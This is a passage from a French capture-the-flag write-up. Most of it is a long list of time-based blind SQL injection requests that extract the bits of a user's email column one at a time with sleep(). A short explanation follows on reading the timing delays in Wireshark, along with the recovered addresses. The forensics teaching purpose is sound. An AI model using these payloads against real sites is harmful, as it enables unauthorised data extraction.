/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 5,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 5,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 5,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 5,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 5,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 5,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 5,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 6,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 6,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 6,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 6,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 6,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 6,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 6,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 6,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 7,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 7,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 7,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 7,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 7,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 7,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 7,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 7,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 8,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 8,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 8,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 8,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 8,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 8,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 8,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 8,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 9,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 9,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 9,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 9,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 9,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 9,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 9,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 9,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 10,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 10,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 10,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 10,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 10,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 10,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 10,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 10,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 11,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 11,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 11,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 11,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 11,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 11,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 11,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 11,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 12,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 12,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 12,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 12,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 12,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 12,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 12,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 12,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 13,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 13,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 13,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 13,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 13,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 13,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 13,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 13,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 14,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 14,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 14,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 14,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 14,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 14,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 14,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 14,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) En analysant le code on constate qu'on itère sur les 8 bits puis que n caractères. Il y a aussi une commande ''sleep''. Donc, si la condition est vraie, le serveur PHP va attendre une seconde à chaque fois. Si on détermine le délai relatif entre chaque requête GET, on constate qu'il y a un délai variable entre 0s et 3s (ce qui signifie que le serveur évalue l'expression 3 fois). On peut ajouter une nouvelle colonne de type ''Delta time displayed''. On peut maintenant considérer que si la requête a duré 3 secondes, cela correspond à un bit 0. {{:curiosite:challenge:nes:wireshark_delta_time.png|}} En convertissant tous les bits, on trouve entre autre 3 adresses mails : NES user id username password profession courriel admin@webadmin.fr misc.chall.code_835@nes.fr cyabob@bob.fr